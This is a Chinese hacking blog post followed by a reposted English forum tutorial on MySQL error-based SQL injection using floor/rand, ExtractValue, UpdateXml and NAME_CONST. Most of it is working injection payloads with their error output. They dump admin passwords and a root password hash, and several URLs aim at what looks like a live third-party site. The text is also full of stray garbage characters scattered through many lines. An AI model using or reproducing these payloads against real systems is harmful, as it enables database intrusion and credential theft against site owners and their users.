mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
6 f+ t  c0 m) F' i" E" V$ P首先进行正常查询：

mysql> select * from article where id = 1;
0 i0 E( j5 z! ^% y1 ~4 q$ H+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
  M; v. c( p9 |8 G2 oERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
; Y+ Q" u) I- [6 L; Q2 J' |ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
7 r" {5 u4 w) T5 o0 c
1 o  w/ L2 x7 n" f4 TErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
" x( G' T/ \: h' R4 Q
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

( P, _' d5 a$ M/ Y  N) W% k7 uErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

. P# g: [1 I2 D6 \+ u/ z6 ?MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


6 G7 H. p4 O& d& F; v" n' B相关信息

' L5 O% s6 ~. |: XNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
2 |1 b. j+ L  _. B! j, K5 h( |4 i
! j0 _# i  ]/ _) ]) g2 G7 C# WCode:
NAME_CONST(DATA, VALUE)
3 r/ b7 X* F# h3 ~; j; D# u8 @
3 B2 b2 [. }$ b; nReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

3 t$ V; {. S3 Q# \& o$ `SELECT NAME_CONST('TEST', 1)
6 Q4 M1 ~( |  n


4 l2 p7 K$ g( d  h|---------------|
|     TEST      |
|               |
& O0 C$ k1 t, b: ?9 ]- G|---------------|
|       1       |
|               |
|---------------|

2 a$ |' w; P- W- R( s- R/ G# ^
% }$ ~1 s+ Q# x" z# [; x" c) g

http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261

3 M8 |' P0 O2 q+ B

: t% A7 \( d: m! P

& g# Z' r2 z; h3 M% rCode:
, e6 B. A) k) j/ |6 r, P9 Kand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


) q4 K0 J* O) Z* m% aVAR = Your MySQL variable.
: w: L5 ~6 i5 Z- b( \8 @+ x6 l
MySQL 5.1.3 Server System Variables

Let's try it out on my site..
( q, f0 _- C- H8 L5 O# \
4 O6 K8 w# B& U+ n' F' uCode:
* @. c$ P8 W7 ^http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
$ P& ^8 c  L% u/ @5 {
Erroruplicate column name '5.0.27-community-nt'


5 B0 @5 }2 Y7 O1 T. l

: c7 _) K' }" l( z0 _: \4 V
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
% G; N" ?. l6 j" @4 V
Data Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


We should get a duplicate column 1 error...

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
6 `" B6 Q9 F3 \' G% I$ j& r
) ?6 p' d6 r& |2 z: @4 t( x, W* @( O4 JErroruplicate column name '1
) t' {/ l0 T. g+ a( n/ R+ k

6 B0 V2 X- o) A+ v' z- `: s* t! B
6 P( y- j' a' M
7 t' m- R8 Y% P# ?
1 T0 H( p7 z  z* |2 d9 U, z: t
Now let's get the tables out this bitch..
* S, {8 o; ^: q# f- R8 l9 F
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
& W* c( B1 O5 U+ z! R- O2 K
7 [- c- k) m" I; R+ R  f7 `
: `/ C6 ?' t9 c. a# G. RLet's see if it works here, if it does, we can go on and finish the job.
' j* I2 }8 `; E& c; p7 ]. K
3 {2 k" L/ a9 K$ @, v3 G1 ~+ N6 L  QCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
' l9 H$ o! w3 ]; w

Erroruplicate column name 'com_admanage
: b) \. ^8 t8 K5 y: X


( q! M  ?! j0 `* X2 A2 ^1 H: i

" g& J2 I) w0 i: t- }& f7 f
# K, z3 a: V) B$ B; kNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..

: U+ _7 q  p! y+ g5 Z& j# [/ p' DCode:
9 N& t5 b2 |, E5 v+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
- ~9 x" U$ `7 W! e

So mine looks like this, and I get the duplicate column name 'Host'.
& B2 h* l7 A! L! M
/ k7 k6 |1 M. h  fCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
: }4 S; ~. ~3 O
Erroruplicate column name 'Host'





: {6 a0 ~5 p$ d( [
2 Y4 L+ d5 P# O( @7 j2 @) G9 dWoot, time to finish this bitch off.
) E% @, M1 @- V2 Z
# O& Y7 `9 c$ ^1 w. OCode:
% X3 K6 K2 a6 q$ C# ^+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
; W! P, d$ }7 F! F& v& _8 S

' D! B( f4 f% L: Y3 Q+ f+ l" u+ oSo mine looks like this...
: r" u& F! {) U4 |
Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
5 O- z" P! e1 B! a8 |
4 b5 [3 \  v9 k2 @9 G! `

, @4 C& Y) `2 ?. e6 ]3 ?( S
  p' n  H% ~; ^2 q4 h

And there we have it, thanks for reading.
( ^4 g8 R! l, c' x
3 C+ }: }: X! W